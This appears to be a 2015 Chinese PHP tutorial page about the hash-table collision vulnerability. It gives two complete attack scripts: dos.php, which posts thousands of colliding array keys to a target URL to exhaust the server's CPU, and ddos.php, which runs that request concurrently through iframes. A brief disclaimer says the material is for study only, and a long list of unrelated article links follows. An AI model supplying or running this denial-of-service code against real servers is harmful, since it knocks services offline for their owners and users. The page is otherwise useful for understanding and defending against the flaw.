PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
一个odbc连mssql分页的类
Oct 09 PHP
php下获取Discuz论坛登录用户名、用户组、用户ID等信息的实现代码
Dec 29 PHP
PHP中文分词 自动获取关键词介绍
Nov 13 PHP
ThinkPHP实现将本地文件打包成zip下载
Jun 26 PHP
yii分页组件用法实例分析
Dec 28 PHP
Zend Framework动作助手Json用法实例分析
Mar 05 PHP
[原创]PHP字符串中插入子字符串方法总结
May 06 PHP
php获取ip及网址的简单方法(必看)
Apr 01 PHP
基于PHP实现的多元线性回归模拟曲线算法
Jan 30 PHP
PHP中有关长整数的一些操作教程
Sep 11 PHP
PHP的Trait机制原理与用法分析
Oct 18 PHP
php查看一个变量的占用内存的实例代码
Mar 29 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
一个php作的文本留言本的例子(六)
2006/10/09 PHP
php输出表格的实现代码(修正版)
2010/12/29 PHP
PHP输入流php://input介绍
2012/09/18 PHP
七款最流行的PHP本地服务器分享
2013/02/19 PHP
修复ShopNC使用QQ 互联时提示100010 错误
2015/11/08 PHP
漂亮的thinkphp 跳转页封装示例
2019/10/16 PHP
JavaScript Cookie显示用户上次访问的时间和次数
2009/12/08 Javascript
jquery json 实例代码
2010/12/02 Javascript
javascript基础知识大全 便于大家学习,也便于我自己查看
2012/08/17 Javascript
JQuery操作Select的Options的Bug(IE8兼容性视图模式)
2013/04/21 Javascript
Jquery实现显示和隐藏的4种简单方式
2013/08/28 Javascript
Javascript 读取操作Sql中的Xml字段
2014/10/09 Javascript
jQuery实现彩带延伸效果的网页加载条loading动画
2015/10/29 Javascript
JQuery学习总结【二】
2016/12/01 Javascript
jQuery实现圣诞节礼物动画案例解析
2016/12/25 Javascript
简单实现jQuery弹幕效果
2017/05/06 jQuery
解决React Native端口号修改的方法
2017/07/28 Javascript
JS数组中对象去重操作示例
2019/06/04 Javascript
快速解决layui弹窗按enter键不停弹窗的问题
2019/09/18 Javascript
[06:10]6.81新信使新套装!给你一个炫酷的DOTA2
2014/05/06 DOTA
[57:18]DOTA2上海特级锦标赛主赛事日 - 1 败者组第一轮#3VP VS VG
2016/03/03 DOTA
Python实现查找系统盘中需要找的字符
2015/07/14 Python
python实现mysql的单引号字符串过滤方法
2015/11/14 Python
详解PyCharm配置Anaconda的艰难心路历程
2018/08/13 Python
python使用插值法画出平滑曲线
2018/12/15 Python
python实现视频读取和转化图片
2019/12/10 Python
美国祛痘、抗衰老药妆品牌:Murad
2016/08/27 全球购物
英国音乐设备和乐器商店:Gear4music
2017/10/16 全球购物
jurlique茱莉蔻英国官网:澳洲天然护肤品
2018/08/03 全球购物
Ruby如何实现动态方法调用
2012/11/18 面试题
2014年行风建设工作总结
2014/12/01 职场文书
校友回访母校寄语
2015/02/26 职场文书
离婚纠纷代理词
2015/05/23 职场文书
毕业生政审意见范文
2015/06/04 职场文书
公司财务管理制度
2015/08/04 职场文书
Windows安装Anaconda3的方法及使用过程详解
2021/06/11 Python